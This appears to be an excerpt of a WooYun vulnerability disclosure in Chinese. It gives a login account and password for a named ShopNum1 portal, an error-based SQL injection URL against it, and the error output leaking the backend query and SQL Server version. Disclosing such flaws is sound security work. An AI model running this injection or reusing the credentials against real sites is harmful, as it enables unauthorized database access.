WooYun.org

这次也必须要在登陆的前提下进行注入
用户名 200200 密码如用户名
http://agent1portal.shopnum1.com/CollectAction.aspx?guid=9a45dbf4-6d29-4601-9871-a6164b36dd8e' and (select @@version)>0 -- -
很抱歉，您要访问的页面无法正确显示，可能是因为如下原因：
1 . 系统过于繁忙，请点击浏览器的“刷新”按钮，或稍后再试。
2 . 您输入的网址有误，请重新检查您输入的网址。 
3 . 此页面已经删除，请访问其他页面。 
4 . 此页遭到非法访问，被程序自动屏蔽。 
select count(*) as Clloectcount from ShopNum1_Collect where MemLoginID='200200' and productguid='9a45dbf4-6d29-4601-9871-a6164b36dd8e' and (select @@version)>0 -- -'_在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (X64) Oct 14 2005 00:35:21 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) ' 转换成数据类型 int 时失败。